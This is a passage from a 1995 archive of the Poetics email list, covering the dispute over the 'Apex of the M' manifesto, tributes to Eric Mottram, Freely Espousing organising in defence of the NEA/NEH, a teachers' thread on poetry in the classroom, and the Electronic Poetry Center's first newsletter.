Different years of course tell different stories, and we have watched operations fold for lack of Endowment monies since 1990. Still it's worth having a browse over the history if you're not already familiar with it.

Right now we're working on writing a press release (never done that before), tracking down more precise information on how the Endowment will be dealt with in Appropriations, getting something going in DC and NYC. If anyone can provide tips on any of these fronts they will be deeply appreciated. We're also trying to re-write our initial post to this list for easy travelling on local b-boards etc.

Thanks to everyone who has helped so far!

Steve Evans & Jennifer Moxley

[redacted]

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63. Marjorie Perloff

Re: Apex of the M

Mon 16 Jan 1995

Dear Friends: I was pleased to get the most recent Apex of the M and read the poetry with interest but I must say I was dismayed by the manifesto "The Contextual Imperative," put out by the editors.

Certainly, the post-language generation has every right to want to move in different directions--that's only logical--but the slight on the L poets vis-a-vis politics seems entirely misguided. The editors write "language poetry, in reproducing and mimicking the methods and language of contemporary capitalism, ultimately commits itself to the same anonymity, alienation, and social atomization of the subject in history that underlie capitalist geo-politics." And they go on to compare the language poets to Reagan, Bush, and Quayle! Come on now! Ron Silliman, Barrett Watten, Bob Perelman, Charles Berstein, (the most "political" of the L poets) reproducing and mikcing the language of contemp capitalism!? Just the opposite was/is true--these poets have worked very hard and put themselves on the line to break down language so that it

couldn't function as the voice of "contemporary capitalism." At the same time, what about the editors? The sentence above is distinguishable from capitalist geo-politics??? How can it be when it is a tissue of cliches. The very phrases "contemporary capitalism," "social atomization" "capitalist geo-politics" are nothing but buzz words of the type one hears/sees on TV every minute. Whose capitalism? Japanese? U.S.? Serb? what's it really like? What "social atomization" precisely are we talking about? And let's look at that language in, say, Silliman's work and read it against Quayle's and see if it really IS like that.,

And then what in hell is 'radical transparency"? Literally, it means that language is absolutely see-through, which means what language you use doesn't matter because you want to get behind it to the Big Ideas. But the danger of doing this is that you start spouting the language of those "ruling classes throughout Western history" poets are supposedly oppsing.

At its best, Language poetry never valorized language "for its own sake" as the editors claim. Nor is it the case that theirs is the only or hegemonic way of writing. But if language poetry is to be attacked--and don't we have enough attacks from the dominant poetic discourses already?-- it had better be attacked in a more responsible way than it is here. That means informing oneself about what's really going on around the globe and not just throwing out phrases like "Reagan-Bush" or "triumph of capital"? If there's a blueprint for a new economic program let's hear what it is. In specifics. But surely, in the heyday of Newt Gingrich it's rather ineffectual to drop phrases like "triumph of capital".

A final question: who is to read the new revolutionary poetry (what it will be like remains to be seen) the editors advocate? Is poetry going to "deliver victims from the daily miseries inflicted by the politicians and the bourgeoisie?" How is this to happen? Certainly not via ignorance,as in the statement (page 7) about "wars of the West against Islam and in Asia." In Asia: Does China have no responsibility for 'wars in Asia"? Japan? and Islam:are the Islamic countries really just innocent victims of "the West"?

I would think "revolution," poetic or otherwise, would require a little more analytic rigor than what we see here.
Marjorie Perloff

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64. George Bowering
Re: Eric Mottram: In Memorium
Tue 17 Jan 1995

Dear Charles Thanks for the word on Eric Mottram. That is bad news. But I had no idea that he was 70 already. We grow up many and too fast. I was reading him earlier today!

GB

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65. Tom Mandel
Re: Apex of the M
Tue 17 Jan 1995

I originally began this as a private message to Marjorie Perloff, to tell her she'd hit the nail on the head in her comments on the Apex intro, meaning to quote to her what Hobbes said of Spinoza - _I durst not have spoke so freely_ (that's a paraphrase, source not being handy), being a Language Poet myself (wch when it happened to me meant being in a loosely-(un)defined and altogether anonymous group of abt 15-20 folks but now means being in an altogether over-commented and literally undefinable crowd of ?3-500?), but have decided to make the comment openly, wanting to add one or two things...

1. To go from the introduction of the Apex issue in question to the work gathered therein is an interesting study. Mostly what's in the issue is the work of poets in mid-career, many of whom associated (i.e. _are associated_) with LP -- how can this so-called manifesto claim them for a next or new way?

2. I believe the editors must understand themselves to have chosen these poets in mid-career as illustrative of their (the editors') sense of where poetry needs to go now, as illustrative of the ideas in the introduction. Thus, the making of manifestos (manifesti?) and new movements is reduced from that of actually creating a new poetry to being a thoughtful editor. The surrealists too had their chosen forebears to bring forward (i.e. Lautreamont), but they were rescuing work wch had been neglected and even rejected not putting together a table of contents wch cd as easily have been found in Temblor in the late 80's (obviously, _somewhat_ different) or Oblek in the earlier 90's. Moreover, the relative proportion of forebears (a few) to active perpetrants of the revolutionary new poetry (a triple handful) seems more appropriate than in the case of Apex volume.

3. Thus new tendencies in poetry as the acts of editors? Sorry, I don't think so. It's hard not to see in this volume a 2d chapter in a different town of the intentions of the editors of ACTS in SF who invented a term _analytic lyric_ which they wished to counterpose to Language Poetry, then went around telling everybody that this was what they wrote. I remember asking Benjamin Hollander (along with David Levi Strauss, the editor of ACTS) what the term meant. Mostly, his answer was that it was what I was writing! (I and others, of course - I don't mean they were vaunting me in particular) No thanks, Benjamin, I'm a language poet -- i.e. my work, wherever it goes and whoever it attracts the attention of, is historically located in that tendency. If I write

rhymed couplets I'll be a langpo who does so (well,... that's _a little_ over-simplified, tho not as much as one might think: I mean it's an ostensively defined term, supplemented with interpretations wch are motivated by a desire to see our work somehow together. there's little else in common between say me and say Bruce Andrews who is a dear, old friend and comrade, or Ron or Lyn; in some sense I believe we will desire our works to be buried in a common historical grave).

4. The test of the Surrealist manifesto was the work of Breton, Eluard, Peret, Aragon, Desnos, et. al., not the validity of the ideas in the manifesto, somehow interpreted in the presence of some other test but absent the test of new work. I don't for a minute doubt the gifts or motivation of the poets who edit Apex. It would have been better, however, to place the intro before a volume of new writers who simply blew one away (and, gentle reader, you cannot imagine how intently I - and most other language poets I know, tho not all surely - await this experience), where its rodomontade, its stuffy certainties abt historical directions/needs, its empty rejection of the exact social and economic matrix which enabled it (doesn't anybody read the Communist Manifesto anymore? viz. its eloge of capitalism?) -- in such a context, all these qualities would be irrelevant in the face of the experience of a new poetry. A new poetry. We always want a new poetry.

Tom Mandel

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66. Tom Mandel
Re: Freely Espousing
Tue 17 Jan 1995

This is great.

Just got the list of this year's nea poetry fellowship awardees - got and threw away, alas, so all I can report is that Wang Ping (whom I only know as a name mentioned earlier in this same week in aconversation in NY) and Alice Notley received fellowships. Mine was a quick scan, so there are probably others whom we might know and contact on the subject.

Surely, there shd be a DC aspect to this event. I can't volunteer to organize it, but do you all have addresses

for Rod Smith, Joe Ross, Buck Downs, Mark Wallace or others who may be able to undertake it? I'm assuming so (and Mark and Joe at least are on this forum...).

Tom Mandel

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67. Robert Kelly
Re: Eric Mottram: In Memorium
Tue 17 Jan 1995

Please let us honor Eric, in text and memory. How about May Day in New York, to honor the political power of his work, all his work? When Pierre called and told me of Eric's death, I thought of a day in London when Eric chided me for climbing to the top of St Pauls---bad for the health. The man cared. And knew. I wonder if any AMerican can see our work as clearly and compassionately and all round, as he did.

RK

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68. Tom Mandel
Mottram : In Memory's Hum
Tue 17 Jan 1995

> _The issue is the orphic difference... between the perpetuation of myth, and its agents, and the freedom of the creative process...._
>
> _Towards Design in Poetry_ / p.24

more and more people will never have known more and more people.

Tom Mandel

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69. peter quartermain
Text of Robert Duncan Selected Poems
Tue 17 Jan 1995

I have just finished a fairly detailed draft catalogue of problems, puzzles, errors, and the like of the first 44 pages of the New Directions edition of Robert Duncan: _Selected_Poems_. The format of this list (14 pages in hard copy) is severely distorted by e-mail conversion so I cannot

post it here. If anyone out there wants a copy, please let me know and I'll send it as soon as I can print one off for you. A couple of bucks ((on receipt) to cover xerox and postage is not necessary but would be helpful, especially if about fifty people want one.

Let me point out, though, that unless we know the status of the copy-text, most of the "errors" I report might not be errors at all; I am however absolutely certain that the text of "For A Muse Meant" is seriously flawed, and that some of the dates are wrong. The textual history of _Medieval_Scenes_ is so complicated that it is simply impossible to say anything certain about the text in the _Selected_Poems_ of 1993, save that it agrees with that of _The_ First_Decade_, published in 1968. From the discussion in _Medieval_Scenes_1950_and_1959 (text cross-checked against the original Centaur Press edition, for there are errors in the 1978 reprint), I'm certain that it is not the text of 1947, and almost certain that it is not that of 1950.

The most serious error in the book, for those who don't want the full treatment, is the substitution of "however" for "hoverer" in the 8th line of "For A Muse Meant" (pp. 35-37), and the printing of a page-wide rule in the middle of the poem (towards the foot of page 36), interrupting the text in a nonsensical way. This is a carryover from the Jargon Press edition of _Letters_: the page-wide rule is at a page break; it separates the footnote from the body of the text. The stanza itself continues without a break through that line, so you need to close up that final line of the stanza: "a con glomerations without rising".

Most of the other errors are of lineation, punctuation and capitalisation, and so forth, with some quite seriously misleading dates in the table of contents. Without knowing what copy text was used in preparing this edition, it is impossible to sort out or estimate the accuracy of this text. New Directions, to whom I have sent this schedule, is no doubt gnashing its collective teeth.

Peter Quartermain

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]

Canada V5V 1X2

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70. **krickjh**

Congress again

Wed 18 Jan 1995

Dear Poetics folk:

More info on Congressional Web access follows, this time from Teddy Kennedy's office via Jim Warren of the GovAccess list.

Jack Krick

CapWeb: A Guide to Congress on the WWW

Thu, 12 Jan 95 09:16:45 EST
From [redacted]

CapWeb is an "unauthorized" hypertext guide to Congress on the World Wide
Web. Committee assignments, contact information including phone numbers,
fax, e-mail addresses, state delegation lists, and party rosters are among
the information that is available for every member of the Senate and House of
Representatives.

CapWeb will collect and maintain links to information being provided by
individual members of Congress on the Internet; the Library of Congress and
other Congressional agencies; state governments; political parties and other
related resources.

CapWeb is part of Policy.Net, a service of Issue Dynamics, Inc. and can be
found at: http://policy.net

kennedy.senate.gov /''''\
http://www.ai.mit.edu/people/casey/casey.html /_____\
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202/[redacted] ||0||0||0|

Office of Senator Kennedy _____/_____ " " " "
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[I wouldn't normally include such an baroque "sig-file," but
this is so novel
that I tho't I'd inflict it on yer email. --jim]

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71. Joe Ross
Re: Freely Espousing
Wed 18 Jan 1995

On Tue, 17 Jan 1995, Tom Mandel wrote:

> *Surely, there shd be a DC aspect to this event. I can't volunteer to organize it, but do you all have addresses for Rod Smith, Joe Ross, Buck Downs, Mark Wallace or others who may be able to undertake it? I'm assuming so (and Mark and Joe at least are on this forum...).*
>
> *Tom Mandel*

Tom et. al. - -

It is already in the works - details to follow . . . .

Joe Ross

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72. Pierre Joris
Re: call for work for interface 10 (fwd)
Wed 18 Jan 1995

Forwarded message:
> From interfac Sun Jan 15 14:22:01 1995
> From: Interface Ejournal <interfac>
> Message-Id: <[redacted]>
> Subject: Re: call for work for interface 10
> To: joris (Pierre Joris)
> Date: Sun, 15 Jan 1995 14:21:57 -0500 (EST)
> In-Reply-To: <[redacted]> from "Pierre Joris" at Ja

> X-Mailer: ELM [version 2.4 PL23]
> Content-Type: text
> Content-Length: 1740
>
>
> Call for Work
> Women on the Net(work)
> inter\face Electronic Literary Magazine
>
>
> VOICES
>
> Voices to the left
> to the right
> near
> and far
> rise up and be numbered.
>
> Resurrect the voices past and present,
> those lost from constant screaming,
> those buried in layers of silence.
> Summon them to rise as phoenixes
> and proclaim
> "I am woman." I, am woman.
> --Tanya Manning
>
> "Women on the Net(work)" is the focus for inter\face's tenth
> issue (coming Spring 1995). This issue is especially dedicated to
> providing women writers an electronic forum for the multiplicity of
> their voices. Metaphorically the title "Women on the Net(work) stands
> for the magazine operating as a net to catch the multiplicity of writings
> by women that may typically go unknown.
> The search for subjects and forms of discourse are unrestricted.
> Whether you write in a "technological/mechanical" voice or
> "renaissance/romantic" style, we're interested. Whether your poems or
> stories are of topical relevance to politics or race relations, women's
> rights or women's magic, sexual orientation or erotica, or anything
> unmentioned, we want you to contribute your work.
> The criteria for this issue is simple. To preserve the writer's
> integrity and promote the writer as publisher, editing of content is
> minimal. In the spirit of accepting "contributions" as opposed to
> "submissions," we believe in your right as a writer to say whatever

> you want to say in the way you want to say it. However, we do ask of
> you to limit for publishing fairness your contributions to three
> separate pieces. Please send your entries no later than February 14,
> 1995 to [redacted]. For more information, please contact
> Tanya Manning at [redacted].
>

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

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73. Chris Stroffolino

Re: Apex of the M

Wed 18 Jan 1995

Dear Tom--just how do you DEFINE a "poet in "mid-career""? This is delicious really. CS.

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74. Steven Howard Shoemaker

JRNL: Poetry in the Margins, cont. (fwd)

Wed 18 Jan 1995

Forwarded message:
From daemon Wed Jan 18 09:25:51 1995
Date: Tue, 17 Jan 1995 23:05:07 -0500
From: "[redacted] \"Randy Bass\"" <[redacted]
Subject: JRNL: Poetry in the Margins, cont.
To: Multiple recipients of list T-AMLIT <[redacted]>

JRNL: T-AMLIT JOURNAL

Here are four more contributions (the first two fairly brief, the next two longer) to the thread of Poetry in the Margins.
RBass
****

(1)
From: IN%"[redacted]" "Carol A. Jago"
Subj: Poetry on the Margin

I was struck by the comment that poetry teachers should be good hosts. As I do with dinner guests, I try to offer my high school students some familiar poems but also some dishes they would never think of trying but so obviously related to what they know or care about that they taste. Slipping a little fried squid in with the shrimp.

In one class where I ask students to write tabloid pieces to actual headlines from the Enquirer and Globe (oh, you know, RMan Glues His Butt Shut" and such), I slipped in a Lucille Clifton poem:

them and us

something in their psyche insists on elvis
slouching into markets, his great collar
high around his great head, his sideburns
extravagant, elvis, still swiveling those
negro hips. something needs to know

that even death, the most faithful manager
can be persuaded to give way
before real talent, that it is possible
to triumph forever on a timeless stage
surrounded by lovers giving the kid a hand.

we have so many gone. history
has taught us much about fame and its
inevitable tomorrow. we ride the subways
home from the picture show, sure about
death and elvis, but watching for marvin gaye.

Poetry is just part of what we do in class. No big deal. You like this one, I like that one. It seldom feels difficult. Slips down like yellow peppers in oil.

Carol Jago, Santa Monica High School in soggy California

(2)
From: IN%"[redacted]" "LISA M. HOGELAND"
Subj: Jrnl: Poetry on the Margins, Cont.

If it's not already beaten to death, I have a small thought. Why do we assume that "participation" in poetry need be writing it? I have students who claim to hate poetry precisely because they cannot imagine ever writing it (and they frequently refuse to write about it because they cannot imagine writing it). Why not participation as readers? I'm a movie junkie, but that doesn't make me

want to be an actor (or even a director); I'm deeply interested in poetry, but no longer write it (one less bad poet is no tragedy). The work of readers is not to be despised or dismissed; for some students, the role of reader (and critic) is more enabling than the role of author. Lisa Maria Hogeland Univ. of Cincinnati

(3)
From: IN%"[redacted]" 13-JAN-1995 08:52:00.53
Subj: RE: Poetry on the Margins

Putting aside the question of whether poetry is any more on the margins than novels or drama, here's my two-cents-worth. Students have more difficulty reading poetry (and are less likely to take poetry courses) because they are taught early on that they CAN'T read it. The two main culprits--and words which have come to haunt me as a teacher--are Symbols and Themes.

Ask a student (try this--I guarantee it will work), "what's the theme of Frost's 'The Road Not Taken'?" and he or she will tell you that the "theme" is that we need to dance to the beat of a different drummer (or some such variant), to boldly go where no man has gone before, and follow our hearts and be an artist. Ask then, "and what are the symbols in this poem?" and the student will dutifully tell you that the Road, of course, is the main symbol and that it symbolizes that road in life that few people dare to travel, the path off the beaten track that only poets go down.

Now especially since when you actually READ the poem, you discover that there's almost no difference between the two roads ("Though as for that, the passing there / Had worn them really about the same"), how do students come to these conclusions? They come to them because they were told that's what the poem MEANS (where's Archibald MacLeish when you really need him). They are told over and over that poetry (in fact, all literature) must be reduced to some moral lesson, formulable in a sentence and that they keys to these formulae are symbols--mysterious words whose true meanings are known only to English teachers, who no doubt are given some secret Book of Symbols upon graduation from English Ed. programs. Read Frost's own "Education By Poetry" and see what he has to say about these ideas.

Even if we offer students more sophisticated versions of themes and symbols, we need to recognize as teachers when we are telling students what some thing means as opposed to allowing them to generate meanings. In other words, are we supplying students with the contexts in which they can build their own readings of poems or are we telling them particular allegories of meaning without showing them the contexts and ideas that foster those allegories? I think, particularly with poetry, we tell them the meaning and in doing so tell them the poem means something other than what it directly says--something they can't possibly know, because they can't possibly know as much as we do

(about culture, about literature, about history, about oppression, . . . you fill in the blank). In other words, I think poetry highlights issues of power and interpretation in the classroom in ways that other genres perhaps avoid. At the very least, students feel better able to read other kinds of literature.

Sorry if all this sounds a bit shrill, but I needed to get it off my chest.

Brian A. Bremen
William Carlos Williams Review
Department of English
The University of Texas, Austin Phone: [redacted]
Austin, TX 78712-1164 Fax: [redacted]

(4)
From: IN%"[redacted]" "Pam Dane"
Subj:

> *I have been reading the posting about poetry with enjoyoment. All of the discussions highlight the fun that I thought academic life might offer, but often doesn't. Now I would like to add my thoughts on the subject. First of all it is interesting that only males have been participating in this discussion. Are women also on the electronic "margins?' Next, it seems to me that poetry is not on the margins in academia--in fact, school is the one place where poetry is mainstream! Where elso do so many people aread Wordsworth and Olds? In English departments, poetry is one of the staples--you know the canon. You can't leave school without so to speak. Unlike some of the other "posters" (is that the correct term?), I find students usually enljoy poetry---it's short and fast to read (not meaning that it's easy of course). Seriously, students do enljoy poetry and I don't think it is important for them to understand all of the symbols and allusions in order to love poems. In fact, If anything marginalizes poetry, it is teachers who insist that in order to "really understand" poetry you must memorize different rhyme schemes, symbols, etc. or you can't possibly read poetry. Why not just let studnets readl, discuss, write, and then read some more? I ask my students to adopt a poet. they must find a living poet who is publishing today and then present his/her poetry to the class. They write papers on theirs poet's poetry. Then I mank a book of all of the poems for the class. This works really well. I also have them buy books of poetry--let's support our poets--Rich, Love, Stafford, etc. Finally I assign them to attend a poetry reading. I also have poets attend my classes. Another thought, if poetry is marginalized, then what about all of the poetry slams. Poetry readings are widely attended in my town. Olds had standing room only.*
>
> *Finally a question to Petrosky--I used lyour Ways of REading as a test in my comp classes. If lyou teach poetry in your comp classes, then why isn't there any poetry in lyour book? I know Rich is there, abut she*

> *is included as an essayist. Also how does poetry work in your comp classes with your writing philosophy.*
>
> *Pam Dane*

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75. Evans/Moxley
Freely Espousing Update
Wed 18 Jan 1995

What follows is a longish post updating people on
Freely Espousing. Please refer any questions
to us or to the Contact person nearest you (cf.
earlier posts giving that information).

WASHINGTON DC

As Joe Ross hinted earlier today, and as we
can confirm now, Washington D.C. is the sixth
city to join in our manifestation of support
for the NEA/NEH. You can contact Joe at:
[redacted](h), [redacted](w), [redacted](fx).
His net address is [redacted]. His street
address is 1719 S Street NW#2, Washington DC, 20009.

Mark Wallace has also agreed to be a DC contact.
His phone number is [redacted](h). His net
address is [redacted].

Our thanks to both Joe and Mark!

The DC events will take place at Willow St. Gallery.
Contact Joe or Mark for specifics.

LEGISLATIVE UPDATE

Most of you will have heard by now that the Senate
Committee on Labor and Human Resources (Chair, Nancy
Kassebaum, R-KS) will begin hearing testimony regarding
the Endowment on Tuesday, January 24th. We are told
the Jane Alexander will testify the first day. If you
were putting off writing a letter to the editor, you
may wish to draft one now so that your local paper has
something to hand when the NEA becomes "news" next week.

You may also have heard that the House Budget Committee, chaired by John Kasich (R-OH), is currently making rescisions in FY95--i.e. cutting monies from programs that have already been allocated funds for this year. Keep a very close eye on the activities of this Committee, which is effectively serving as Newt's assassination team.

BLIND SPOTS IN OUR ORGANIZING

Given the rush, it's not surprising that there remain a number of places around the country where support such as we're seeing in the six cities already organized (with NYC, a seventh, still a few phone calls away from being "in") exists but is unreachable by us.

Joe Ross reminded us this morning that Texas, Ohio, and Georgia are KEY places in which to rally support. Any suggestions on how to get something going there would be vastly appreciated. Even though ten days may prove too short notice to bring something off on the 28th, there's nothing wrong with bringing something together for the following weekend, etc.

PRESS RELEASE

With the help of Kit Robinson, we have finally composed a press release, which we will post separately to the list. We recommend that Contact people download the release and supplement it with local information. Of course, the release could also be used for re-posting to local bulletin boards and so forth. Please feel free to use, alter, or ignore the release, depending on the complexion events are taking on where you're at.

EXPLOITING A STEREOTYPE OR TWO

I don't know about other areas, but here in Providence several people have shown interest in two fairly incidental points about this event. 1) It is being organized by people in what the media call "gen x" (and not, e.g., by professional art bureaucrats); and (2) the Internet is involved.

If it makes the difference between getting your event covered or not, Jen and I think you should consider playing to the current buzz-words on these two points. Just a thought.

ALBANY

We know many people in the Eastern part of the country are going to be in Albany for a gathering this coming weekend. Neither of us will be able to make it, but we hope that the incredibly e-literate bunch at Albany can keep us posted any developments, discussions, thoughts people are having about *Freely Espousing* during the weekend.

HERE IN PROVIDENCE

An Ad-Hoc Committee of Literary Publishers, consisting of Burning Deck, Lost Roads, Paradigm, Tender Buttons, Garlic Press, and the Impercipient, should exist by sometime tomorrow. Rosmarie Waldrop (Burning Deck) and C.D. Wright (Lost Roads) have been working hard with Jennifer and I to handle the local details.

AND REMEMBER OUR MOTTO: FREELY ESPOUSE TODAY OR FORCIBLY EMIGRATE TOMORROW

Regards to all,

Steve Evans and Jennifer Moxley
[redacted]

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76. Evans/Moxley
Press Release
Wed 18 Jan 1995

For Immediate Release

Contact: Steve Evans
[redacted]

ARTISTS AND WRITERS ORGANIZE TO DEFEND NEA, NEH

Events Planned in Six Cities to Protest Attack on Arts Groups

19 January 1995, Providence--In response to strong indications that the Republican-controlled 104th Congress intends to summarily eliminate federal funding for the arts and humanities through the National Endowment for the Arts (NEA) and the National Endowment for the Humanities (NEH), writers, artists, scholars, and concerned citizens in a half-dozen American cities have organized *Freely Espousing,* a day of events manifesting support for public arts funding on Saturday, January 28, 1995.

Begun on the initiative of two Rhode Islanders (the home state of Senator Clairborne Pell, architect of the 1965 legislation that created the NEA/NEH),

the idea has spread quickly--partly through use of the Internet--to San Diego, San Francisco, Milwaukee, Washington D.C., Buffalo, and New York City.

Providence organizers Steve Evans and Jennifer Moxley chose the name *Freely Espousing* to underscore the vital role of the arts in a democratic society and to call attention to what they identify as a lack of rational public debate on a host of issues currently being forced through Congress under the leadership of House Speaker Newt Gingrich and Senate Majority Leader Bob Dole.

The centerpiece of *Freely Espousing* events throughout the country will be a marathon "read-in" of literary works whose creation the NEA has facilitated in its thirty-year existence. A variety of speakers and round-tables are also planned.

APPEND LOCAL INFORMATION HERE / ALSO, CORRECT HEADER INFORMATION ABOVE (PERHAPS GIVING EVANS/MOXLEY IN PROVIDENCE AS SECOND CONTACT?)

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77. Loss Glazier

Electronic Poetry Center Newsletter #1

Wed 18 Jan 1995

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| Electronic Poetry Center |
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E P C . N E W S

No. 1 (January, 1995)

Contents:

1.0 Basic Assumptions
2.0 Poetry and the Electronic Place
3.0 Interfaces: Gopher, Web, Mosaic; Bookmarks

4.0 RIF/T Notes
5.0 EPC New Additions
6.0 How to Connect

1.0 Basic Assumptions

The Electronic Poetry Center seeks to provide a central _place_ for Internet resources for poetry and poetics.

The lay of the land:

1.__Welcome : Electronic Poetry Center Welcome & FAQ's (About)/
2.__RIF/T : RIF/T / New Poetry, Prose, & Poetics (Texts)/
3.__Poetics : Calendar, Poetics List Archive & Files (Texts)/
4.__Authors : Electronic Poetry & Poetics - Authors (Texts)/
5.__E-Journals : Gateway to Electronic Poetry Journals (Texts)/
6.__E-Resources : Gateway to Electronic Poetry Resources (Connects)/
7.__Small Press : Electronic Poetry Center Small Press Alcove (Cites)/
8.__Gallery : The Electronic Poetry Gallery (Visuals)/
9.__Sound : The Electronic Poetry Sound Room (Sound Files)/
10._Documents : Poetry & Poetics Document Archive (Texts)/
11._Exhibits : Electronic Poetry Center Exhibit case (Texts)/
12._Notices : Electronic Poetry Center Announcements (Info)/

The Center continues to provide access to the electronic poetry and poetics journal, RIF/T, and the archives of the Poetics List. Needless to say, the EPC provides quality archival materials for these resources. For the Poetics archive, a feature has recently been added to allow keyword searching for the immense number of files comprising this archive.

The EPC author library offers texts and/or information about contemporary poets in a variety of formats.

A number of electronic journals are archived and distributed by the EPC. Journals distributed through the EPC differ from other e-journal archives in a significant way: the texts presented here have been checked and verified by their issuing agency, thus at least getting to you versions of electronic journals that have a direct link to their source. We are delighted to offer these journals to you and will continue to make sure texts presented are done so in collaboration with their producers. For resources outside the EPC, we have written links to make seamless connections to these resources. It is our aim to be vigilent about our links so that persons interested in poetry and poetics do not have to spend a lot of time digging for addresses, remembering sites, and locating resources. Through the selections available at the EPC, users of the system have simple and direct access to many other related Internet resources.

The Center also provides information about contemporary little magazines and small presses engaged in poetry and poetics. Since this information is often difficult to locate, it is presented at the EPC in hopes of recongizing these contributions, facilitating communication, and providing an additional outlet for these extremely valuable print sources. Look here also for Selby's List of Experimental Magazines.

The Poetry & Poetics Document Archive provides access to a number of documents of use to poets, teachers, and researchers. Here you will find essay material and current obituaries. This area should be consulted in conjunction with the Poetics Files and Small Press Sources areas, which also offer material of pedagogical use.

The EPC also presently offers gallery, sound, exhibts, and an announcements area.

2.0 Poetry and the Electronic Place

Compared to say, a year ago, many people might agree that the idea of some sort of an electronic forum for poetry is not only a possibility but an inevitability. We have seen the continued growth of the Poetics List (I counted around 250 postings the month of December 1994 alone) and the development of the Electronic Poetry Center. The EPC has maintained a significant circulation. We regularly get letters from various world outposts attesting to the reality of such connectivity. Interesting also are the number of visits taking place, both locally and across distance; despite the dips and peaks that typify any active place, the EPC has seen a good amount of traffic across its doorstep. For those with such inclination (and it is illuminating that the following compare favorably with circulation statistics, say, for a little magazine) here are some numbers:

Month	_Connects_
Nov 1994	573
Oct 1994	429
Sep 1994	367
August 1994	348
July 1994	614
June 1994	110

These statistics give only a sense of scale, it should be noted, since direct connections to EPC submenus and entries through Veronica searches, a significant number of connects, are not included in the above statistics.

3.0 Interface: Gopher, Web, Mosaic

Even as activities converge, it is also the time of divergent interfaces. I am often surprised by the number of our contributors and participants who do not even have gopher access. (These, again, not represented in the above statistics.) Most people, we figure, have at least gopher access, though Web access is quickly becoming a standard. Mosaic, it would be assumed, though assuming predominance in the University setting, has hardly become a reality for most dial-up users, particularly internationally. (For the sake of a common ground, gopher is an ascii-based interface that offers access through the selection of menus; the web is an ascii-based interface that offers access through _screens_ of information with links to other areas appearing as highlighted text; Mosaic is a graphical interface basically superimposed on the Web structure that offers images, sound, video, and allows you to use your mouse as a navigational tool.) The EPC is accessible through any of these interfaces. It is presently evolving strongly towards exclusive Web/Mosaic access.

Informational Notes: (1) The standard for Web/Mosaic documents is the markup protocol called html. These are imbedded codes that you will see once in a while when you download an html document. These codes give instructions to the software about highlighting, fonts, and screen layout, as well as providing for the _hot links_ that make possible Web/Mosaic navigation. (2) A feature of these interfaces that should be mentioned is the bookmark. You may wish to investigate this as most systems allow you to set a bookmark, say at the EPC, and gain immediate access to it when you invoke your interface.

4.0 RIF/T Notes

Forthcoming from RIF/T are two special issues. The first of these is the Transpoeisis issue (see EPC Announcements for details) which will offer a muti-faced and multi-format approach to the presentation of translations. Also

forthcoming, a planned special issue on Charles Olson. RIF/T will also soon issue the first in a series of special chapbooks. Much on the way!

5.0 EPC New Additions

Many additions have been made to the EPC in the past six months. Following are some of the journals archived and directly distributed by the EPC:

DIU / Albany
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics
Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Toluca Lake, CA / via Syntax

Significant connections which the EPC would like to highlight include the following:

Alternative-X
Basil Bunting Poetry Centre (Durham, England) [Informational]
Best-Quality Audio Web Poems (Rhode Island)
Carma Bums 'Tour of Words'
CICNET Electronic Journal Archive
Institute for Advanced Technology in the Humanities (Virginia)
Internet Poetry Archive (North Carolina)
Michigan Electronic Text Archive
Nous Refuse Discussion List (Illinois)
Postmodern Culture (North Carolina)
Whole Earth 'Lectronic Magazine

6.0 How to Connect

The Center is located at gopher://writing.upenn.edu/11/internet/ library/e-journals/ub/rift

Gopher Access: For those who have access to gopher, type
gopher writing.upenn.edu
at your system prompt. First choose Libraries & Library Resources, then Electronic Journals, then E-

Journals/Resources Produced Here At UB, then The
Electronic Poetry Center. (Note: Connections to some
Poetry Center resources require Web access, though most
are presently available through gopher).

World-Wide Web and Mosaic Access:
For those with World-Wide Web (lynx) or Mosaic access,
from your interface, choose the _go to URL_
option then go to (type as one continuous string)
gopher://writing.upenn.edu/11/internet/
library/e-journals/ub/rift

(Substituting hh for 11 in the URL above may produce better results on your system.)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you log on.

If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

The Electronic Poetry Center is administered in Buffalo by
E-Poetry
and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

End of EPC.News #1

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78. Joe Amato
apex of the m...
Thu 19 Jan 1995

---

i felt i just had to weigh in here (& apologies in advance for a *long* post)

with a sort of 'outsider's' response to marjorie's & tom's posts... it'll soon become apparent that my outside is another's inside & another's outside &

another's inside-outside... the phenomenology is necessarily blurred,
as are the
borders... there's much in what both marjorie & tom say with which i

find myself in essential agreement... but i believe there's a number of things
that have gone unsaid, specifically in these regions, re this issue of how
to address the (as i take it, ongoing) phenomenon of poetry, language

poetry in particular (& i don't see the point any longer of hedging over that
term
---it's here to stay)... & because i'm somewhat on the margins, if you will, of
this
particular discourse as far as *my* poetics/poetry is concerned, i need to
wax a bit autobiographical in order to situate my remarks some...

1. i came to poetry, formally, a little over a decade ago, deciding to leave
the
engineering profession (& "deciding" is far too genteel a term) to pursue
my desire to---as i understood it then & even to some extent now---SAY
something... this is a terribly atheoretical way of putting it, i know, but

fact is, the alphabet just happened to be the technology through which my
saying was to take place... by way of placing things further: during approx.
the years charles b. was penning the items in his fascinating collection
_content's
dream_, i was busy running around a brand new brewery & an aging
pharmaceutical plant with a hardhat, safety glasses & earplugs, trying to

resolve corrupt labor practices on the construction site & still 'get the job
done,' so to speak... trial by ordeal for a young guy in his early 20s, as

male as it may sound to say so...

2. so i decided, like i say, at 29, to return to school, & under the able

guidance of don byrd & judith johnson at suny/albany, i picked up
my doctor of arts (yep) & hit the job market, eventually ending up a

decade later here in chicago, at illinois institute of technology, teaching
technical
& professional writing... i bet some of you could have seen this coming, but i
couldn't... anyway... point is that i get questions from my tech. students, even
now,
